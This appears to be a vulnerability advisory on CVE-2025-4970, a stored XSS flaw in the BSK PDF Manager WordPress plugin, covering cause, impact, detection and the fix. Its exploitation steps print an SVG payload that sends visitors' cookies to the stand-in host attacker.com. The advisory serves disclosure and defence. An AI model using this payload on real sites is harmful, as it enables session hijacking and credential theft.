CVE-2025-4970: 
WordPress vulnerability analysis and mitigation

CVE-2025-4970 is a Stored Cross-Site Scripting (XSS) vulnerability in the BSK PDF Manager plugin for WordPress, affecting all versions up to and including 3.7.1. The flaw arises from insufficient input sanitization and output escaping when handling SVG file uploads, allowing authenticated attackers with Administrator-level access to inject arbitrary web scripts. The vulnerability is limited in scope: it only affects multi-site WordPress installations or single-site installations where unfiltered_html has been disabled. It was published on December 12, 2025, with a CVSS v3.1 base score of 5.5 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to properly sanitize SVG files uploaded by administrators and does not escape the file content on output, allowing embedded JavaScript within SVG markup to execute in a victim's browser when the SVG file is accessed. Exploitation requires an authenticated session with Administrator-level privileges, and the attack vector is network-based with no user interaction required beyond a victim visiting the page serving the malicious SVG. The vulnerability is particularly relevant in WordPress multisite environments or where unfiltered_html capability is restricted, as these configurations rely on the plugin's own sanitization (Wordfence, Red Hat CVE).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who accesses the malicious SVG file, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of the victim. The confidentiality and integrity impacts are rated as low, with no availability impact. In multisite WordPress environments, the blast radius could extend across multiple sites sharing the same installation, increasing the potential for broader compromise (Wordfence).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the available data. The EPSS score is extremely low at approximately 0.009%, reflecting a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires Administrator-level authentication, which significantly limits the attacker pool (Wordfence, Red Hat CVE).

1. Authenticate: Log in to the target WordPress site with an Administrator-level account (or higher) on a multisite installation or one where unfiltered_html is disabled.
2. Craft malicious SVG: Create an SVG file containing embedded JavaScript, for example: <svg xmlns="http://www.w3.org/2000/svg"><script>document.location='https://attacker.com/steal?c='+document.cookie</script></svg>.
3. Upload via BSK PDF Manager: Navigate to the BSK PDF Manager plugin's upload interface and upload the crafted SVG file as a PDF/document asset.
4. Distribute the link: Share or embed the URL to the uploaded SVG file within the WordPress site (e.g., in a post, page, or widget).
5. Trigger execution: When any user (including lower-privileged users or visitors) accesses the SVG file URL, the embedded JavaScript executes in their browser, enabling session theft, phishing, or further attacks (Wordfence).

• File System: Presence of SVG files in the BSK PDF Manager upload directory containing <script> tags or JavaScript event handlers (e.g., onload, onerror).
• Logs: WordPress access logs showing requests to SVG files uploaded via the BSK PDF Manager plugin, particularly from unexpected IP addresses or at unusual times.
• Network: Outbound requests from victim browsers to unknown external domains shortly after accessing SVG file URLs served by the plugin (indicative of data exfiltration payloads).
• Application: Unexpected administrator-level file uploads of .svg files recorded in WordPress media library or plugin-specific upload logs.

Users should update the BSK PDF Manager plugin to version 3.7.2 or later, which addresses the insufficient sanitization of SVG file uploads (WordPress Plugin Changelog). As a workaround, administrators can restrict SVG file upload capabilities within the plugin or enforce stricter file type policies. On single-site installations where unfiltered_html is enabled for administrators, the risk is reduced, but upgrading remains the recommended action (Wordfence).

The vulnerability was discovered and disclosed by Wordfence, which assigned the CVE and published the advisory on December 12, 2025. No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified. The low CVSS score and high privilege requirement have limited community attention to this vulnerability (Wordfence).